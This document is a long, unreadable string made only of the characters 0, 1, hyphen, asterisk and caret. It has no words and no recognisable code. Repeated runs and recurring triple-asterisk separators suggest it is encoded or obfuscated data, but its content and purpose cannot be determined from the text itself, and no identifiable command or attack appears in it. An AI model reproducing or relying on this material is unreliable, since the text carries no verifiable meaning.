10-01*011*10-01^1010-1101*10-010^110-0011***101101101*011010^1^^-*10-01^101010^1101^-00-0110-1011*00-01^-010^1^^101*10-010^110-*1***1^-*1101101*0110^1011*10-00-011010^11*^11010^1^^-011*01*10-*1101101010-01*01^1^11010^11*1*10-1101*10-010^110-0011***-001^-0110^101^^-*10-01^10101*011*10-01*011*1*1010^11*00-01*011011*1101^-010^1^-01101010101***-001^-0110^101^^-*10-01^10101*011*10-01*011*1*1010^11*00-01*011011*1101^-0101*1***1^-01^-010^11011*11011*1101010-01^1010-1101*10-010^110-0011***0010-00-01101010-0-1011011*010-1101*10-010^110-0011***1^-*00-01010-0-101^^-0-*10-1101*10-010^110-0011***1101011011*1101*01^1*11*11011*1101101*011011*0^-0110-10110^1011*10-01*011*^110^1011*1101101*01^110101010^11*10-01*011011*110^101^1^110^1011*10-00^-010^11011*0^^-010^1^110-00^-010^1101^1010-1101*10-010^110-0011***00110110-1011011*110-1011*10-0-101^^-*001010^-1*10-0^101^^-01010-011*11010^1101^1010-1101*10-010^1101^-***1101011011*1101*01^1*11*11011*1101101*011011*0^-0110-10110^1011*10-01*011*^110^1011*1101101*01^110101010^11*10-01*011011*110^101^1^110^1011*10-00^-010^11011*0^^-010^1^110-00^-010^1101^1010-1101*10-010^1101^-***0^-0-1011*10-01*01^^-010^110101101101010-00-0110101*1*10-010^110-*1***1^-0^-1010^110110^10-1101*10-010^110-0011***1^-*10-00-011010^110101101101010-0-001^^-01*0010-1101*10-010^1101^-***10^110101101101*01^-001010^11*110110^101^11*10-1101*10-010^1101^-***10^11*10-01010-011*11010^11*0-10101*1*11011*11011010^11*0101101^101010^1101^-010101010-1101*10-010^1101^-***0010-01010-*00-*10-01010-0-^1*^1^^-01*011*^1^-01101*011*10-01^101*10-011*11010^1^^-0^1011*^11010^1^^1010-1101*10-010^1101^-***-0-0-1011*^1^-0110^10110-01010-101^-001010^11*10-01*011010^1^^-011*010-1101*10-010^1101^-***1^-00-0110-10110^1011*10-011*11010^1^^-0^1011*^11010^1^^101011*110^1011*10-01*011010110110-1011*10-01010-01*0010101101101010-010110110^1011*0-101*0110101^10-1101*10-010^1101^-***0010-00-011010^110-001101*00^^-010^1101^-010101010-1101*10-010^1101^-***0010-011*11010^1^^-0^1011*^11010^1^^1010-1011*10-01010-01*0010-0-0-1011*11011*1101101*0010-1101*10-010^1101^-***10^1^110-0^1011*1101101*001*00-010^11010^110110^10-1101*10-010^1101^-***00^11010^1101^-*00-01*011*110110101*10-1101*^11*^1101*011****0-0-1011*10-01^101***00^11010^11*1101^1*1101*01^-0110101*10-1101*10-010^1101^-***001101101*01^110-00^-010^11*10-00-0110^^10-1101*10-010^1101^-***10^110101101101*01^-001010^11*1101101010-*^110-10110101^10-1101*10-010^110-0011***-001^-0110^101^^-*10-01^101*^1101*0110-1011*1101^-0110-0-0-1011*1*1***10^110101101101*01^-00101^-01^-010^11011*110-101^^-*001010-1101*10-010^110-0011***0011011*110110^10110110^1***1^-010^1101^-01^-010^11011*110-101^^-*00101*10-010^110-*1***0010-00-01101010-0-1011011*01010^11*11011*^1^-01101*011*0^10-1101*10-010^110-0011***00^110^^10-1101*10-010^110-0011***1^-01^-010^11011*110-101^^-*00101*10-00-011010^1^^-00^-01010-011*01*10-010^110-*1***10^11*1101101010-*^110-10110101^^-0110^101101*0110101^10-1101*10-010^110-0011***10^110101101101*01^-0010^-^1*0101^-010^1101^-01^-010^11011*110-101^^-*00101*10-010^110-*1***0010-01010-*00-*10-01010-0-^1*^1^^-01*011*^1^-01101*011*10-01^1010-1101*10-010^110-0011***0010-0^1011*0-10101*^^-0-101^11*1*10-0^101101*0110-0101***0010-00^-01*011*10-01^101***-101^1^1^-0110^^1*10-00^-01*011*10-01^1010-1101*10-010^110-0011***10^1101^-00-0110-1011*00-01^-010^1^^101*10-010^110-*1***1^-*1101101*0110^1011*10-00-011010^11*^11010^1^^-011*010-1101*10-010^1101^-***0010-01010-0-1011010^11010110110^1011*101010-1101*10-010^1101^-***00^110-1011*01011*10-010^110101^10-1101*10-010^1101^-***101101101*011010^1^^-*10-01^101*10-01^-010^1101010-01*-010^1^^101*10-010^110-*1***10^11*00-0^-1*10101*10-00-011010^11*10-00-0110-1011011*010-1101*10-010^1101^-***10^11*00-01*011011*1101^-010^1^-01101010101***1^-010^11*01011011*11*10-01*0110101^1***10^11*00-01*011011*1101^-0101*1***-0-0-1011*0101101^101***1^-0^-1010^110110^^^-010^110^101^1^110^1011*^110-10110101^10-1101*10-010^110-0011***10^110101101101*01^-00^^-010^1101^-010101010-1101*10-010^110-0011***10^110101101101*01^-00^^-010^11*10-01010-*00-010110110-1011011*010-1101*10-010^110-0011***0010-*0-1010^11*10101*10-010^110-*1***0-011010^11010^1^^-011*1101^1010^-^^-01*011010110110^101^^-*001010-1101*10-010^110-0011***1^-*^1^-01101010-0-101^1*010-1101*10-010^110-0011***101101101*01^^-01*011*00101*1^10-1101*10-010^110-0011***101101101*01^^-01*011*001010-01010-1101*10-010^110-0011***-001101^-0101^10-1101*10-010^110-0011****1011*10-01*011*00101010^11*1101^1*1101*011*10-01010-011*11010^11*0-10101*10-1101*10-010^110-0011***0-01101010-00^101***10^11*11011*^1^-01101*011*0^1010^11*10-01*011010^1^^-011*01***10^11*11011*^1^-01101*011*0^10-1101*10-010^110-0011***0010-010^1^^101***0010-00^-0^101^110-*11011*1101101*011011*01***0011011*1101101*011011*01***1^1010-11010-001^^-01*011*^11*1^1***1^1^-11010-001^^-01*011*^11*1^1***0^1^-11010-001^^-01*011*^11*1^1***1*1^-11010-001^^-01*011*^11*1^1****01^-11010-001^^-01*011*^11*1^1***1^-00^-010^11*10-010^110101101101*01^^-01*011*00101*10-010^110-*1***11*110^1011*10-01*011*10-01^10101^-0^^10-1101*10-010^110-0011***10^11*11011*^1^-01101*011*0^1010110110-101^^-0011*1*^110-1011*01011*10-010^110101^1*10-010^110-*1***0010-0^1011010110110101*1***0^-0-1011*10-01*01^^-010^1^-011010^110-*1*1^10^^1*10-010^110-*1***10^11*00-0^-1*1010^^-010^11*10-010^110101101101*01^^-01*011*001010-1101*10-010^110-0011***10^11*10-01*0110-0011010^11*11011010^11*1*1010^11*10-01*011010^1^^-011*01***10^11*00-0^-1*1010^-01^^-01010-*10-010^1^^1010-1101*10-010^110-0011***10^1101010-*1101101*01^110101*10-010^1101^101***10^11*00-0^-1*10101*^11*11011010^110^101^11*10-1101*10-010^110-0011***1^-*^11*11011010^110^101^11*1*10-010^110-*1***10^11*11011*^1^-01101*011*0^1*^110-1011*01011*10-010^110101^1010^1^110-*110110-101101^-010^1^^101***10^11*11011*^1^-01101*011*0^1010^11*00-0^-1*10101010^1^110-*110110-101101^-010^1^^101***10^11*11011*^1^-01101*011*0^1010^11*1101101010-*^110-10110101^10-1101*10-010^110-0011***1^-010^11*1101101010-*^110-10110101^1*10-010^110-*1***1011011010^11*10-0^^10-1101*10-010^1101^-***1011011010^11*10-0^^10-1101*10-010^110-0011***^-1010^110110^101^-00-0110^101101*011*10-00-0110-1011011*01***10^1101^-01*01^1*01010^11*^110-1011011*010-1101*10-010^110-0011***10^110101101101*01^-0010-1101*10-010^110-0011***10^1^^-01010-*10-*1101101010-011*01*10-00-01101*0110^101^^-01*01^110-00-0110^^10-1101*10-010^110-0011***101101101*011010^1^^-*10-01^101010^1101^-01*01^1*010-1101*10-010^110-0011***1^-001*1101*001***00^1^-01101010-0-101^^101***0-0110^10110101^1****-101*0110101^1***0010-011*11010^11*11011*110110-1011011*01****1011*10-01*011*00101*00-01011011010^11*10101*10-010^110-*1***10^110101101101*01^-001010^11*110110^101^11*1*10-010^110-*1***0^-01*011*01011011*0^^-0-1011*10-01*01^^-01*011*00-010^1101^1010^-^^-0-1011*10-011*11010^1^^-0^1011*1*1***10^110101101101*01^-0010^-^^-0-1011*10-011*11010^1^^-0^1011*1*1*10-010^110-*1***0010-*0-1010^1^-001010^1^110-0-10110101^1***0010-00-011010^1^^-00^-01010-011*010-1101*10-010^110-0011***0010-00-01101010-0-1011011*0^-0110-10110^1011*10-01*01^^-010^11*10-0^^10-1101*10-010^1101^-***1101011011*110-1011*1101^1*010101101^^-0-101^1^1101^-00-01101*01^^-*10101***1101011011*110-1011*1101^1*01*1101101*01^-0110^101^11*10101101^^-0-101^1^1101^-00-01101*01^^-*10101***10^1^-0110^1011*01011011*1101*0110101^1*1101101*011011*110-1011*1^1***0^-010^1101^-01010101*10-00-011010^1^^-00^-01010-011*01***1^-*10-01^-0^1011*0-10101*10-1101*10-010^110-0011***10^110101101101*01^-001*11011*1101101010-0011*10-1101*10-010^110-0011***0010-00-011010^1^^-01*011*001010-1101*10-010^110-0011***00^1^-0110101*10-1011*10101*^1101*011010^1^^101****0-010^11010^11*1101101^101***1^-010^11*110110^101^11*1*10-010^110-*1***0010-00-011010^1^^-01*011*00101*10-010^110-*1***1^-010^110^101^^-0-1011*10-011*11010^1^^-0^1011*1*1*10-010^110-*1***1^-010^110101101101*01^-0010^-1010^110110^^1*1101010-01^101*10-010^110-*1***^-1010^110110^^1*1101010-01^10^-011010^11*00-0-^1***10^1^10-10^101101^10101101011011*110-1011*1101^1*010-1101*10-010^1101^-***01101010^^10-1101*10-010^110-0011***0^-0-1011*10-*00-0^-^^-011*11010^11*1*1010^11*10-01*011010^1^^-011*01***0^-0-1011*10-*00-0^-^^-011*1^-0110101*1010^11*10-01*011010^1^^-011*01***01101010^^10-1101*10-010^1101^-***^-1010^110110^10-1101*10-010^1101^-***10^11*^110-10110101^10-1101*10-010^1101^-***-001^-0110^1011*^11*^1101*011*001010-1101*10-010^1101^-***^-1010^110110^10-1101*10-010^110-0011***10^1^10-10^101101^1010^-1010^110110^10-1101*10-010^110-0011***0^-010^11*10-00-0110101*1***0010-0^1011*0-10101*1***10^110-001^-01101*011*01011011*11*0-10101*1010^1^^-01*011*00-010110110-1011011*01***10^1^10-10^1011*1101101*0110^1011*10-0^101^-0110^^1****101101^-01*011*0^1010^11*10-01010-*00-010110110-1011011*01***10^1^10-10^101101^101*0101101^-01*011*0^10-1101*10-010^110-0011***10^11*10-0^-^1*010-1011*10101***-001^-0110^101^^-*10-01^101*1011*1101^10^1101^-01*01^1*010-1011*10101***0-01101*011010^11*110110-10110-101^1*010-1011*10101***-001^-0110^101^^-*10-01^101*1011*1101^10^1101^-01*01^1*01010110110-101^^-0011*1***0^-01*011*01011011*010-1011*10101***0-0110-10110^101101^-00^-010^1^11010101^1010-^10-1101*10-010^110-0011***10^11*1101^1*1101*0110^101^^-01*01^110101*10-00-011010^110101101^-0110-101^^-0^101^110-00-0110101*1*10-010^1101^101***10^11*1101^1*1101*0110^101^^-01*01^110101*10-00-011010^110101101^-0110-101^^-0^101^110-00-0110101*1*10-010^110-*1****1011*10-01*011*0010^^-010^11*^11*110110-101^11*1*10-010^110-*1***0010-00-01101010-0-1011011*0101101011011*110^1011*101010-1101*10-010^110-0011***1^-010^11*1101^1*1101*0110^101^^-01*01^110101*10-00-011010^110101101^-0110-101^^-0^101^110-00-0110101*1*^1^-01101*011*00-*0-10101*1***1^-010^1^110-0^101^^-*1*1*1101101*011011*110^10110-00110-1011*1^1*10-010^110-*1***10^1^-0110^1011*1^10-0-010^1^-0010-1101*10-010^110-0011***^-1*00-0-1011011*0101101011011*110-1011*1101^1*01***10^1101010-*1101101*01^1101010-1101*10-010^110-0011***10^1101010-*1101101*01^110101*10-010^110-*1***^-101*01^^-00^-01*001010^11*10-0^-^1*010-1011*10101***10^110101101101*01^-001*10-010^110-*1***^-1*1101^1*1101011011010^1101^-01^-01*0010-001^-0110^1011*10-01010-011*11010^11*0-10101*1*10-010^110-*1***0-0110-10110^1011*10-01*011011*110-1011*1^10-1101*10-010^110-0011***0^-0-101^-0110^10110101^10-1101*10-010^110-0011***0^-0-101^10101101*0110101^10-1101*10-010^110-0011***0-0110-10110^101101^-00^-010^1^1101010-1101*10-010^110-0011***01101^1*11*010-00-0110^^1010101010-1011*10101***0^1^1^11*010-00-0110^^1010101010-1011*10101***001011*11011*010-00-0110^^1010101010-1011*10101***0-01101*0110^1011*^1^-0110101*1010^11*11011*10-*10-0^1011*1^101^-0^^1***10^11*1101^1*1101010-0-1011*1*10-1011*10101***01101^1*11*010-00-0110^^10-1011*10101***10^11*110110-001^-0110^101101^1010-1011*10101***^101^-01101010101*1101101*01^1*110-1011*110110-*1*0^10-1011*101010-001^-0110^101^^-*10-01^101***^101^-011010101010-001^-0110^101^^-*10-01^1010-1011*1010^^-*10-*00101***0^-*10-*00101*10-00-0110^^1*^1101*011010^1^^101***01101^1*11*010-00-0110^^1*^1101*011010^1^^101***001101101*01^1*110-1011*110110-*1*0^1011*110-1011*11011*1101101*001***0^-0-101^^-00^-0101*^^1^1^11*-0110^10110-0101*10-01^-01*011*1^1*10-010^110-*1***10^11*10-0^-^1*01*^1101*011010^1^^101***0^1^1^11*010-00-0110^^1*^1101*011010^1^^101***001011*11011*010-00-0110^^1*^1101*011010^1^^101***001101101*01^1*110-1011*110110-*1*0^1010^11010^1^^-0011*1***01^110-^1010^1^10-10^101101^101***10^1^^-01010-*10-011*1101010-00^-*10-01^1010-1011*1010^^-*10-*00101***^-1*10-00^-010^11*00-0-101^^-*00101*10-010^110-*1***00^110-1011*01011*10-010^110101^1*10-010^110-*1***^-1*1101^1*1101011011010^1101^-01^-01*0010-1101*10-010^110-0011***00^11*11011010^110^101^11*1*10-010^110-*1***10^11*11011*^1^-01101*011*0^1010110110-101^^-0011*1010^11*00-0^-1*10101*10-010^110-*1***1^-010^11*10-0^-^1*01*10-010^110-*1***10^11*^110-1011011*110^101^-0110101010^-01101*0110^1011*^1^-0110101*10-00110^101^1*010-1101*10-010^110-0011***0010-*1101101010-01*01^1^11010^11*1*10-1101*10-010^110-0011***^^10^^1011*0101^10101*0010-1101*10-010^110-0011***-001^-0110^101^^-*10-01^101*10-010^110-*1***10^11*^110-1011011*110^101^-011010101010-1101*10-010^110-0011****-*11*1*10101010101010-1101*10-010^110-0011***11*11*10-01010101010^11010110110^1011*10101010^11*110110^101^11*1010110110-101^^-0011*1***00^1^-0110-1011011*11010^1101^-0^1011*11011*110110^10110101^10-1101*10-010^110-0011***1^-01101011011*110^1011*101010-1101*10-010^110-0011***-0-0-101^-0010-1101*10-010^110-0011***^-101*01^^-00^-01*0010-1011*10101***10^11*10-01*011010^1^^-011*01***0010-*0-1010^11*10101*11011*1101101*001*^1101*011010^1^^101***10^11*10-010^11*11011010^11*1*1***10^11010110110^1011*1010101^-01^-010^11011*11011*1101*001*10-01^-01*011*1^1*10-010^110-*1***1^-010^1^-0110^1011*1^1*11011*1101101*001*^1101*011010^1^^101***1^-*10-01^-0^1011*0-10101*1***1^-010^11*10-0^-^1*01*11011*1101101*001*^1101*011010^1^^101***0010-*0-1010^11*10101*11011*1101101*001*^1^-011010^11*00-*00-01*001***00^1101*011010^1^^10^-011010^11*00-0-^1***0-0110-10110^1011*10-0^101101^-0-1011*001010-1101*10-010^1101^-***00^1101*011010^1^^101***10^11*10-0^101^^-0-0101***10^1101^-0-1011*11011011*01***^-1*11011*00-0^1011*10-*1101101010-0101^1***0010-011*1101*01^^-*10-001*1101010-01^101***00^11*^1101*001***0010-01*0110101101^^-0-101^11*1*^1^-011010^11*00-*00-01*001***10^1^-0110^1011*1^1*^1^-011010^11*00-*00-01*001***^-1*10-0^1011011*1101*011*00-01*011011*010-1101*10-010^110-0011***0^-01*011010^11*11011011*01***00^1^-011010^11*00-*00-01*001***10^1^-0110^101^1*11010110110-1011011*01***0^1^1^11*010-00-0110^^10-1011*10101***0010-0^1011011*110^1011*11011*00-*0-10101*10-1101*00-0-1011***001011*11011*010-00-0110^^10-1011*10101***10^1^10-10^101101^1010-1101*10-010^110-0011***-101^^-010^1^101101***00^1^-01101010-0-101^1*0^^-010^110-0-0-1011*1^1*10-010^110-*1***00^1^-01101010-0-101^1*0^^-010^11*00-*00-01010101*10-010^110-*1***-1011*101010^-1*00-0-1011011*01***0010-00^-0-101101^101***10^1101^-00^-010^1^110-010^1^^101***10^1^10-10^101101^-010^1^^101***^-1*00-0-1011011*01***^-101*01^^-00^-01*001010^1^10-10^1011*1101101*0110^1011*10-0^101^-0110^^1***10^11*11011*^1^-01101*011*01011***10^11*00-0^-1*10101*10-010^110-*1***10^1101^-00^-01*011*00101***01^110-^1*0-1010^11*^1^-0110^^1*10-01^-01*011*1^1***1^-00^-01*011*01011011*010-1101*10-010^110-0011***0010-0^1011*11011*00-01^101***^-1*10-0^1011*1101101*01101010-01*-0101*10-1101*00-0-1011***0010-00-01101*0110^101^^-01*01^110-00-0110^^^^-010^11*00-*00-010101010-1011*10101***10^11011*1101*011*00-01^101010^11*10-0^1011*010110-010^^-0-^1*11011*1101101010-00-00101^-0^^1***0-0110^10110-101^10^1****1011*10-0^10110-010101^-*10-00^-01*011*10-01^101***10^11011*1101*011*11011*00-010^1^^101***^-1*10-*00-010110110101*1***01^110-^1*0-1010^11*^1^-0110^^1***0010-00^-01*011*10-01^101010110110^101^^-*10101***10^1^^-01*011*00-010110110-1011011*01***10110110^101^^-*10101***00^1^-0110101*1010110110^101^^-*10101***^-1*10-*00-010110110101*^^-0-^1*11011*1101101010-00-00101^-0^^1****1011*10-0-001^-011010^11*1^10-1101*10-010^110-0011***10^1^110-0-101101011011010^1^^101***-1011*10101010^1^^-01*011*00-010110110-1011011*01***1^-*1101101*01101010-01*-0101*1***^-1*10-0^1011*1101101*01101010-01*-010^1^-0110^^10-1101*00-0-1011****1011*10-0^10110-010101^-*^1^-0110101*1***0010-01*0110101101^^-0-101^11*1***-001^-0110^101^^-*10-01^-001*1101010-01^101***0^-010^11*00-*00-010101010-1011*10101***0^-010^110-0-0-1011*1^10-1011*10101***^-101*01^^-00^-01*00^^-01*011*01011011*010-1011*10101***1^-00-0110^101101*011*10-00-0110-1011011*01***0010-01*011011*1^-0110-1011011*01***0-011010^11011010110-1011*10101010^11*00-0^-1*10101010^11*10-01*0110-0011010^11*11011010^11*1*10^-1*0-10-101^^-*00-***10^1101010-*1101101*01^110-***0010-*0-1*10-****001***01010-01*011*^11***10-^101^^^1010-1011***0-0110-10110^1011*10-01*011011*1101^-01010-001^1^1*110-^^^-010^11*10-001^1101*001*00-0^101^^-*10-01^1010-1101*10-010^1101^-***0-0110-10110^1011*10-01*011011*1101^-01010-001^1^1*110-^^^-010^11*10-001^1101*001*00-0^101^^-*10-01^1010-1101*10-010^110-0011***10^1^^-01010-*10-01*011010^1^11*10-1101*10-010^1101^-***10^1^^-01010-*10-01*011010^1^11*10-1101*10-010^110-0011***10^11*^1101010-*11011011*11*0-10101*10-1101*10-010^1101^-***10^11*^1101010-*11011011*11*0-10101*10-1101*10-010^110-0011***1^-00^-010^1^1*1101011011010^110101^10-1011*101010^-1*11011*00-*00-01*0010-1101*10-010^1101^-***1^-00^-010^1^1*1101011011010^110101^10-1011*101010^-1*11011*00-*00-01*0010-1101*10-010^110-0011***001*^^11*1101010-*101^101*1011*10^^11*10101^^-011*1*10-*^11*^^11*-011*001^101*1*11011***-01^1*11*010-001^1^11*^110-00101011*10-0010110101^-*10-*00-01^-0^^^11*^1^11*0011*110101*1^101^101****011*10101^10^1*^11*1*10110^^1011010-011*^101***001^^^1^^1011*0-*0110110^-10101101^101011*01101***1*1^101*1*1^^1*0101*1^-01^-^^10101^11*1***^101^^101011*1101*-01010-0^11010101*^1011010-^1***110101^-0010^110101*101010^11010101010-0-01*1^1*011***101*1*1*^^-0011*1010^1101^10^101101010^1^^101***110101^^-*10101*11011*1*^^11*0110110101*10^-1***001^^^11*^-01*0010-*10-*^110-*0-*1^11***00^1101^10^110-01*-01*10101*101*0011*00110101^-***-0-*^1^-0110-011*01*^1^11*1*^^1^1^101***10110110-0-0^-10-0-*0011**11*01011*010-*01011***011011**11*010-*011010101*101*01^^11*^1^^^1***11010110^1011*1*^101011*1*1*^1^-01^10101^1*01***0^11*0^1^110-*1^10110^10101101^10101101*00101010-****011*010-*1010101^1010^-^^-010110110^^^110101***0-011*1101101010-001*01011*01*0-1*10-*1^1010^11***-001^-0010101011*00-00110^^1*01011*0^1^1101^101***-101101010-*0011*-001*0110101*-*^110^101^1*11****0101*1*10^1101*^11*10-001101010^10110101^101101011***00110110^-^-01^-01101*11*001101*0^^1*0101*011***10101010^101^1*1101101011*0-1*1*10110^101101011010^11***00^1^-0010-001^10^1*0-10-001^-0010101*^^101***1^10101*10101^-0-^^110101*1101^110-*0110^1*11***0010-00^11*-001*0010^10101101*0010101010^^1^-0-***10110110101*101*00^-0010-0101010^11*1^101^-*1^1***01010110-01^^10110-1011*01101*01011*001^1010-0011*1***0^-*0010^^11*1*01*1101^101011*1010101*001011*01***1^1^-*101^1^-^101*10^1101^110^10-^1*10-***01*010^-0010^110^11010^11010^101101*10^1^11010^11****11010^110^^-01010-001101^^^1*0-00-01010-0011***1^10^^10101^1010101*101*1010101^101*1010^-*1*01***-0011010110110101010101101011*1^1*001010-*^^-001^11***-011*01*10^^10101011**10^-0110^-1*00-00-011***1^-*0^1*0-10^10110^-^1*11*0-001*001*11011***^101101*1^101^^1^1^11*10101*10110^1*10-0010110101^-*1^1011*0^10^10^^^11*^1^110^1011*0^1010^11*11011***10^1101^-0-1011*00-01^-0^1011*1*1***-001^-0110^101^^-*10-01^1010-1011*10101***10^11*11011*^1^-01101*011*0^1010^1101^-01*011010^11*11011010^1^^101***00^110^1011*1101101*01^110-00-0110^^101^-0^^10-1101*10-010^110-0011***11*110-101^^-*00101*^1^-0110-0101***10^11011010110-101^110-00-0110^^1*^1^-0110101*1***10^11011010110-101^110-00-0110^^^-0110^10110-0011010^1^1*01***10^11011010110-101^110-00-0110^^1***10^1^10-10^1011*1101101*01^-0110^101^11*1***0^-0-1011*10-011*1^-01***00^-0-1011*10-011*11011*1^-01***010^^10-^10-^1*00101*00101*0010101*10-0-00110101***10^^10-^10-^1*00101*00101*00101*0010-0-0^1101***10^^10-^10-^1*00101*00101*0010101*10-001^110101***10^^10-^10-^1*00101*00101*0010101*101*10^110101***10-^10-^1*00101*00101*00101*0010-0011*0-***010-^10-^1*00101*00101*00101*00101*0010^-***010-^10-^1*00101*00101*0010101*10-0-00101011***10^^10-^10-^1*00101*00101*00101*00101*001*01011***10^^10-^10-^1*00101*00101*00101*00101*101*^11***10^^10-^10-^1*00101*00101*00101*0010-0-*^11***10^^10-^10-^1*00101*00101*00101*0010-0011*^11***10^^10-^10-^1*00101*00101*0010101*10-001101^101***10^^10-^10-^1*00101*00101*00101*00101*00101011011***10^^10-^10-^1*00101*00101*00101*0010-0-01010-***10-^10-^1*00101*00101*00101*00101*1010-011***010-^10-^1*00101*00101*00101*00101*00^^-***10-^10-^1*00101*00101*00101*0010-0-*00-***10^^10-^10-^1*00101*00101*0010101*101*10101*11***010^^10-^10-^1*00101*00101*00101*00101*10101101011***10-^10-^1*00101*00101*00101*00101*1010^-1***10-^10-^1*00101*00101*00101*0010-0-001*01***10-^10-^1*00101*00101*00101*0010-00110-1011***10-^10-^1*00101*00101*00101*00101*1010-1011***10^^10-^10-^1*00101*00101*00101*00101*0010110101***010-^10-^1*00101*00101*00101*00101*00^^11***010-^10-^1*00101*00101*00101*00101*101*10101***10-^10-^1*00101*00101*00101*00101*00101*-***10^^10-^10-^1*00101*00101*00101*00101*10^101011***10-^10-^1*00101*00101*00101*00101*0010101011***010-^10-^1*00101*00101*00101*00101*10^1*11***10-^10-^1*00101*00101*00101*00101*00^1*11***10-^10-^1*00101*00101*00101*0010-0-01*011***10-^10-^1*00101*00101*00101*0010-0-011*01***10-^10-^1*00101*00101*00101*0010-001^^11***010-^10-^1*00101*00101*00101*0010-0-00^-***10-^10-^1*00101*00101*00101*00101*10^10^1***10^^10-^10-^1*00101*00101*00101*0010-0-0110101***010^^10-^10-^1*00101*00101*00101*00101*0010-101***010^^10-^10-^1*00101*00101*00101*0010-00110110101***010^^10-^10-^1*00101*00101*00101*00101*1010110101***010^^10-^10-^1*00101*00101*00101*0010-0-0^-***010-^10-^1*00101*00101*00101*00101*001*11011***10^^10-^10-^1*00101*00101*00101*00101*10^^101***10^^10-^10-^1*00101*00101*0010101*10-0-01*001***10-^10-^1*00101*00101*00101*0010-00110101*1***10-^10-^1*00101*00101*0010101*101*10101101011***10-^10-^1*00101*00101*00101*0010-0011*0^1***10-^10-^1*00101*00101*00101*0010-0-0^1011***10-^10-^1*00101*00101*00101*0010-001^101011***10-^10-^1*00101*00101*00101*00101*00101101011***10-^10-^1*00101*00101*00101*0010-00110^1011***10-^10-^1*00101*00101*00101*0010-0011*1011***010-^10-^1*00101*00101*00101*00101*0010101*1***10-^10-^1*00101*00101*00101*0010-0-0-*1***10-^10-^1*00101*00101*0010101*101*0010^^1***10-^10-^1*00101*00101*00101*0010-001101*001***10^^10-^10-^1*00101*00101*0010101*101*1010-*1***10-^10-^1*00101*00101*00101*00101*10101*11***010^^10-^10-^1*00101*00101*00101*00101*00^101011***10-^10-^1*00101*00101*00101*0010-0-*0011***010-^10-^1*00101*00101*00101*00101*00101*11***010-^10-^1*00101*00101*00101*0010-0-010^11***10-^10-^1*00101*00101*0010101*10-0-001*01***10^^10-^10-^1*00101*00101*0010101*101*10101^101***10^^10-^10-^1*00101*00101*00101*00101*00101010-***10^^10-^10-^1*00101*00101*00101*0010-0-01*101***10^^10-^10-^1*00101*00101*0010101*10-0011*1*1***10^^10-^10-^1*00101*00101*0010101*10-0011*00-***10^^10-^10-^1*00101*00101*00101*00101*001*^11***10^^10-^10-^1*00101*00101*00101*0010-0-0-011***010^^10-^10-^1*00101*00101*00101*0010-001101101011***10^^10-^10-^1*00101*00101*0010101*101*101*00-***10^^10-^10-^1*00101*00101*0010101*101*0010-0-***10^^10-^10-^1*00101*00101*0010101*10-0-00110-***10^^10-^10-^1*00101*00101*0010101*10-0-0-1011***10-^10-^1*00101*00101*00101*0010-0-0-0101***10-^10-^1*00101*00101*00101*0010-0-01101011***10-^10-^1*00101*00101*00101*0010-0011010^11***10-^10-^1*00101*00101*00101*00101*10101*001***10^110101101101*01^-001010^11*00-0^-1*10101***10-^1^-*1*10-*1***10-^101^^1*01*00-***11*1101^-***10-^101^^^101*00-***1*1^101101*00-**11*^11**11**11**11*11011*00-1*0011*0^110-1011*01011*10-010^1101011011*^1*0^1***01*1^101101*^1^1*011*0011**11**11**11*11011*00-1*0011*0^110-1011*01011*10-010^1101011011*^1*0^1***01*1^10110^1*01^^11**11**11**11**11*11011*00-1*0011*0^110-1011*01011*10-010^1101011011*^1*0^1***00^1^10110^11*1101*11**11**11**11**11*11011*00-1*0011*0^110-1011*01011*10-010^1101011011*^1*0^1***01*1^10110^11*1101*11**11**11**11**11*11011*00-1*0011*0^110-1011*01011*10-010^1101011011*^1*0^1***01*1^101101*^11**11**11**11**11**11*11011*00-1*0011*0^110-1011*01011*10-010^1101011011*^1*0^1***010^1^^-01010-*10-01*011010^1^1^11****0-0^101^^-*10-01^-***10^11*^1101010-*11011011*11*0-1010^11***1^-00^-010^1^1*1101011011010^110101^10-1011*101010^-1*11011*00-*00-01*011***^1101*00-00101011*0^101*011*0-*1*110-*1*00101***00110110101^1010^11*0101101010-011*1^^11*001011*00101***011*^1010110-*101*-001101^10101^-1011*00-0010-1***01*1101010-00^11*-0010-0-00^10^10^1*1*10101*1***-0101*10-011*0^11*10-0101011*0^^11*^1^101^1****0-0101^10^1101*0-001*11*110-001*0^11010^^101***^^^1^1^1*11*0101^110-00-0010-0-001*01*00-***1*1^11*010101*^10^10^-*01^101^11*011011*00-***1^1010110^1*00-*10101011*11011010110101101^10110^10-1***-1011*1*^10101^1*1^1*01*0^101^-*10-0-*1***1^10^1*110101^101*-0-0-01010-*001^^101101011011****011*00101^1101010-0-00110-0101*^10^1*00101*11011***001101^10101^-00101*-0101*10-1011011*1^1101^1*101****101101*11*010-0-0101*0-^11*1*10101*0110^101011***00101010-0-0011010101^-*00101*00-0010^101*001*00101***-001101*1010110^101011011010110110-^1*00-*1101101^-***^1011*01011***1101011*01011***-1011*01011***1010-*01011***1^-*01011****0-*01011****1011*01011***0101011*01011***11*11***^1011***1011011***-11010-1101010^1101010-*1101101*01^110-***1^-***01^11***10^11***0011011***^-1***1010-***1101011***01*11***-1011****-1***0-011***0^-***-0-***0101011***0^11010-^-^-**001*11010-^-^-****11010-^-^-**00-101010-^-^-***-01010-^-^-**00101101010-^-^-***01101010-^-^-**00110101010-^-^-***10101010-^-^-**00^101010-^-^-***00101010-^-^-**00-001010-^-^-***1^1010-^-^-**0010^1010-^-^-***0^1010-^-^-**0011*1010-^-^-***1*1010-^-^-**001*01010-^-^-****01010-^-^-**00-1^10-^-^-***-^10-^-^-**0010-0010-^-^-***0-0010-^-^-**001101^10-^-^-***101^10-^-^-**00^1^10-^-^-***001^10-^-^-**00-0^10-^-^-***110^10-^-^-**001010^10-^-^-***010^10-^-^-**001^^10-^-^-***^^10-^-^-**001*^10-^-^-****^10-^-^-**00-1*10-^-^-***-*10-^-^-**001011*10-^-^-***011*10-^-^-**001101*10-^-^-***101*10-^-^-**00^1*10-^-^-***001*10-^-^-**00-*010-^-^-***11*010-^-^-**00101*010-^-^-***01*010-^-^-**0011*0010-^-^-***1*0010-^-^-**001**10-^-^-*****10-^-^-**00--0110-00-^-***-110110-00-^-**0010-10110-00-^-***0-10110-00-^-**00110-0110-00-^-***10-0110-00-^-**00^-0110-00-^-***00-0110-00-^-**00-0110110-00-^-**0010-11011*0^1101^^-*^11*00-001*00101*1^-011*01011*01011*1*01*001^101101*01*10-01^1*1^^-00101101*1*110-011**11*0101^101101*01*10^-*11*1*1*10101101*01*101*11*01011*0101^11*0101^1^101*^11*10110-1***10-^101^1*0-10-1011***10-^101^1